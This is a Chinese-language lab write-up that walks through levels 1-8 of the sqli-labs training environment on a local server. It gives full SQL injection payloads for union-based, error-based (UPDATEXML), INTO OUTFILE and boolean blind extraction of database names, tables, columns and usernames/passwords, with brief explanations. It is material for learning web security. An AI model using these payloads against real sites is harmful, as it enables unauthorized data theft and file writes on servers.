sqli靶场复现(1-8关)

目录

1.sqli-labs第二关

1.判断是否存在sql注入

1.1你输入数字值的ID作为参数,我们输入?id=1

1.2在数据库可以查看到users下的对应内容

2.联合注入

2.1首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

2.2得到列数为3列,联合查询判断回显位,这里左边取-1是为了使左边的sql语句查询后为空,显示右边的内容:

2.3查询数据库名:

2.4得到数据库名:security,继续爆表:

[2.5将 security 换成users表名,去爆破里面的内容。](#2.5将 security 换成users表名,去爆破里面的内容。)

2.6通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容

2.sqli-labs第二关(整数型注入)

3.sqli-labs第三关

1.当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

[2.以下的步骤和less-1较为相似,在 ' 后面加 ) 即可原理相似,先对数据库进行查询](#2.以下的步骤和less-1较为相似,在 ’ 后面加 ) 即可原理相似,先对数据库进行查询)

4.sqli-labs第四关

1.先尝试让它报错查看原因,单引号没用双引号可以

[2.对报错信息进行分析,发现代码当中对 id 参数进行了 "" 和 () 的包装。所以我们再用这样的代码来进行注入: ?id=1") ---+](#2.对报错信息进行分析,发现代码当中对 id 参数进行了 “” 和 () 的包装。所以我们再用这样的代码来进行注入: ?id=1”) –-+)

3.步骤跟上述相似

5.sqli-labs第五关(报错注入)

1.先尝试输入发现输入数字或者注释都没变化,加上单引号后悔出现报错,但是还是没有注入点

2.判断报错报错函数是否可用

3.利用UPDATEXML函数报错注入

4.爆库名

5.爆表名

6.爆列名

7.爆字段内容

6.sqli-labs第六关(报错注入)

1.输入整数或者单引号看界面显示发现根第五关差不多情况,并且输入?id=1'也没有显示就去查看源码,发现要用双引号​编辑

2.判断报错函数是否可用

3.其余跟第五关差不多,单引号换成双引号即可

7.sqli-labs第七关

1.尝试用单引号发现报错信息,确定要使用")),根据题目显示知道这是个outfile),根据题目显示知道这是个outfile)

2.采用outfile的方式进行注入

[3.打开数据库文件夹--------找到下目录下的my.ini ---------打开它,](#3.打开数据库文件夹--------找到下目录下的my.ini ---------打开它,)

4.在重新输入导出命令

8.sqli-labs第八关(布尔盲注)

[1.先输入?id=1c出现You are in,?id=1'发现没有显示,在输入双引号试试发现恢复正常](#1.先输入?id=1c出现You are in,?id=1'发现没有显示,在输入双引号试试发现恢复正常)

2.这里发现和第五关有点像,我们试试报错函数是否可以用,发现不可以

3.这里考虑用布尔盲注或者时间盲注试试,

扩展:

4.爆数据库名

4.1判断长度

4.2爆破数据库名

5.爆表名

5.1判断表的数量

5.2判断第一个表的长度

[5.3 判断表的字符](#5.3 判断表的字符)

6.爆表的具体字段

6.1获取字段列数

6.2获取字段列名

7.获取表中的数据

7.1获取条数

7.2判断数据长度

7.3判断数据字符

7.4现在可以去数据库获取获取数据

9.sqli-labs第九关

10.sqli-labs第十关


1. sqli-labs

1.判断是否存在sql注入

1 .1你输入数字值的ID作为参数,我们输入?id=1

1.2在数据库可以查看到users下的对应内容

2.联合注入

2.1首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

2.2得到列数为3列,联合查询判断回显位,这里左边取-1是为了使左边的sql语句查询后为空,显示右边的内容:

爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。%27是英文的单引号,注释符 --+

2.3查询数据库名:

复制代码
http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,database()--+

2.4得到数据库名:security,继续爆表:

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。

group_concat 可以将所有的tables 提取出来,information_schema是mysql特有的库,存储各种数据库的信息。

复制代码
http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

2.5将 security 换成users表名,去爆破里面的内容。

爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

复制代码
http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+

2.6通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容

2 . sqli-labs (整数型注入)

当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

在php文件可以看到是整数型注入

其余步骤和第一关差不多

复制代码
?id=1' order by 1,2,3,4--+
?id=1' order by 1,2,3--+
?id=-1'union select 1,2,3--+
?id=-1' union select 1,2,database()--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username,id,password) from users--+

3. sqli-labs 第三

1.当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

看报错,发现并没有完全闭合,那就加个')'使其闭合,再使用'--+'注释掉后面内容

2.以下的步骤和less-1较为相似,在 ' 后面加 ) 即可

原理相似,先对数据库进行查询

复制代码
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

4. sqli-labs 第四

1.先尝试让它报错查看原因,单引号没用双引号可以

2.对报错信息进行分析,发现代码当中对 id 参数进行了 "" 和 () 的包装。所以我们再用这样的代码来进行注入: ?id=1") ---+

3.步骤跟上述相似

5. sqli-labs 第五 报错注入

1.先尝试输入发现输入数字或者注释都没变化,加上单引号后悔出现报错,但是还是没有注入点

页面显示数据库的报错信息,确定注入点为单引号字符型

查看源码发现,就考虑使用报错注入

2.判断报错报错函数是否可用

3.利用UPDATEXML函数报错注入

语法:UPDATEXML(XML_document, XPath_string,new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串),Xpath语法

第三个参数:new_value,string格式,替换查找到的符合条件的数据

4.爆库名

复制代码
?id=1' and updatexml(1,concat(1,database()),1)--+
  1. ?id=1 :这部分通常是一个URL参数,原始查询可能类似于SELECT * FROM some_table WHERE id = ?id。攻击者试图通过修改这个参数来注入恶意SQL代码。

  2. ' and :单引号(')用于闭合原始SQL语句中的字符串字面量(如果原始查询是基于字符串比较的),and用于添加额外的条件到WHERE子句中。

  3. updatexml(1,concat(1,database()),1) :这是攻击的核心部分。UPDATEXML()函数尝试修改一个XML文档,但在这里它被用于触发一个错误,因为第二个参数(XPath表达式)不是一个有效的XPath表达式。concat(1,database())将数字1和当前数据库的名称连接起来,形成一个字符串,这个字符串随后被用作XPath表达式的一部分。由于这个表达式通常是无效的(因为它以数字开头),UPDATEXML()函数将返回一个错误,并且这个错误消息可能会包含数据库名称。

  4. --+ :这是SQL注释的开始。--是SQL中的注释标记,后面跟一个空格(在这个例子中是+后面的空格,但+本身在这里是多余的,可能是为了绕过某些简单的输入过滤),它告诉数据库忽略该行剩余的所有内容。这确保了原始SQL语句的剩余部分(如果有的话)不会被执行,从而避免了语法错误。

得到security库名

5.爆表名

复制代码
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)--+

6.爆列名

复制代码
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name ='users')),1)--+

这里我不加上库名就匹配不上因此我加上了库名成功拿到列名

7.爆字段内容

复制代码
?id=1' and updatexml(1,concat(1,(select username from users limit 1,1),0,(select password from users limit 1,1)),1)--+

http://127.0.0.1/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(1,(select%20username%20from%20users%20limit%202,1),0,(select%20password%20from%20users%20limit%202,1)),1)--+

这里的limit 1,1中第一个1是users、password中记录的顺序,从0开始算,第二个1代表回显一条数据记录

6. sqli-labs 第六 报错注入

1.输入整数或者单引号看界面显示发现根第五关差不多情况,并且输入?id=1'也没有显示就去查看源码,发现要用双引号

2.判断报错函数是否可用

复制代码
?id=01" and updatexml(1,0x7e,3) -- a

3.其余跟第五关差不多,单引号换成双引号即可

复制代码
?id=1" and updatexml(1,concat(1,(select username from users limit 1,1),0,(select password from users limit 1,1)),1)--+

7. sqli-labs 第七

1.尝试用单引号发现报错信息,确定要使用")),根据题目显示知道这是个outfile

2.采用outfile的方式进行注入

SELECT column1 FROM table_name INTO OUTFILE 'file_path'

OUTFILE命令可以将查询结果导出为文本文件,CSV文件等多种格式。

注意:使用这个功能需要提前开启权限。你可以前往MySQL的源文件目录中,

打开my.ini配置文件,并修改其中的`secure_file_priv='D://'`

参数设置为你的安全目录。(请设置为C盘以外的磁盘,避免系统权限问题。)

修改完成并重启后在MySQL命令行中输入`show variables like '%secure%';`查看是否设置成功。

复制代码
?id=1')) union select 1,2,group_concat(table_name )from information_schema.tables where table_schema=database()   into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/1.txt' --+

这里出现了错误,百度后发现是数据库没有导出的权限

注释:

1.secure_file_priv为NULL时,不允许导入或导出。

2.secure_file_priv为/tmp时,只能在/tmp目录中执行导入导出。

3.secure_file_priv没有值时,不限制在任意目录的导入导出。

3.打开数据库文件夹--------找到下目录下的my.ini ---------打开它,

在里面写入下面这句话--------并保存

secure_file_priv=""

重启数据库

然后再打开数据库命令行输入show variables like '%secure%';

4.在重新输入导出命令

?id=1')) union select 1,2,group_concat(table_name )from information_schema.tables where table_schema=database() into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/1.txt' --+

这里虽然显示有错误但是已经导出到1.txt中

至此漏洞利用成功

8. sqli-labs 第八 关(布尔盲注)

1.先输入?id=1c出现You are in,?id=1'发现没有显示,在输入双引号试试发现恢复正常

2.这里发现和第五关有点像,我们试试报错函数是否可以用,发现不可以

3.这里考虑用布尔盲注或者时间盲注试试,

扩展:

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息

盲注分为两类:

1、布尔盲注------》 布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。

2、时间盲注------》 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

需要用到的函数:

Length()函数 返回字符串的长度

Substr()截取字符串

Ascii()返回字符的ascii码

sleep(n):将程序挂起一段时间 n为n秒

if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

4.爆数据库名

4.1判断长度

复制代码
?id=1' and length(database())>1 --+

一次从1开始加知道页面无显示就证明位数猜对了 ,这里就是数据库长度就是8位

4.2爆破数据库名

复制代码
?id=1' and ascii(substr((database()),1,1)) =115 --+
115时ascii数,115对应是s依次推断

5.爆表名

5.1判断表的数量

复制代码
?id=1'   and (select count(table_name) from information_schema.tables where table_schema=database())>4  --+ 

无显示证明表的数量有4个表

5.2判断第一个表的长度

复制代码
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),6,1))>0--+
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),5,1))>0--+第4张表,长度5

爆第一个数据表,通过调整limit x,1的位置来判断数据表数量,ascii(' ' limit 0,1),y,1))判断第1个表的第y位是否有内容,0表示第一个表,最后一个1是固定写法,第二个表示是limit 1,1

显示正常就证明第一个表长度是6,超过6的话就会无显示长度就超过了

5.3 判断表的字符

复制代码
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) =79 --+
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117--+

正常显示就证明字符对应成功,第一个表的一个字符79对应'e',依次尝试emails

以第四个表为例,通过测试是5个元素,假设是users表。测得第一个是u(ascii码 117),依次测试's'(115)、'e'(107)、'r'(114)、's'(115)。

6.爆表的具体字段

6.1获取字段列数

复制代码
?id=1'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+

?id=1'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1)=2 --+

从1开始尝试列数直到页面显示就证明列数正确,这里是users表的列数为3

6.2获取字段列名

复制代码
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+

第一列第一个字符为:i=105

继续第二个:d

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),2,1))=100 --+

依次求第二列:

第一个字符:u

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1),1,1))=117 --+

limit 1,1),1,1)第一个1是第2列(1+1=2),第二个1是第二列的第一个元素,第二个元素表示limit 1,1),2,1)

第一列名: id

第二列名:username

第三列名:password

7.获取表中的数据

7.1获取条数

复制代码
?id=1' and  (select count(*) from users)=13 --+

从1开始依次尝试直到页面正常显示 ,users表里的数据条数为13条

7.2判断数据长度

复制代码
//获取id第一条数据的长度
?id=1'   and  length((select id from users limit 0,1))=1 --+
//获取id第十条数据的长度
?id=1'   and  length((select id from users limit 9,1))=2 --+
//获取usersname第一条数据的长度
?id=1'   and  length((select username from users limit 0,1))=4 --+
//获取password第一条数据的长度
?id=1'   and  length((select password from users limit 0,1))=4 --+

7.3判断数据字符

复制代码
//获取usersname中第一条数据的第一个字符
?id=1'   and ascii(substr((select username from users limit 0,1),1,1))=68 --+
D
//获取usersname中第一条数据的第二个字符
?id=1'   and ascii(substr((select username from users limit 0,1),2,1))=117 --+
u
//获取usersname中第二条数据的第一个字符
?id=1'   and ascii(substr((select username from users limit 1,1),1,1))=65 --+
A
//获取password中第一条数据的第一个字符
?id=1'   and ascii(substr((select password from users limit 0,1),1,1))=68 --+
D

limit 0,1),2,1)表示第一条数据,2表示第一条数据中的第2个字符

可见username中第一个字符为:D

然后就这样依次进行得到username:Dumb,password:Dumb

7.4现在可以去数据库获取获取数据

可见账号1Dumb 密码为Dumb

9. sqli-labs 第九

10. sqli-labs 第十

相关推荐
NineData9 小时前
NineData智能数据管理平台新功能发布|2026年1-2月
数据库·sql·数据分析
IvorySQL10 小时前
双星闪耀温哥华:IvorySQL 社区两项议题入选 PGConf.dev 2026
数据库·postgresql·开源
ma_king13 小时前
入门 java 和 数据库
java·数据库·后端
jiayou6416 小时前
KingbaseES 实战:审计追踪配置与运维实践
数据库
NineData1 天前
NineData 迁移评估功能正式上线
数据库·dba
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
NineData1 天前
数据库迁移总踩坑?用 NineData 迁移评估,提前识别所有兼容性风险
数据库·程序员·云计算
赵渝强老师1 天前
【赵渝强老师】PostgreSQL中表的碎片
数据库·postgresql
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent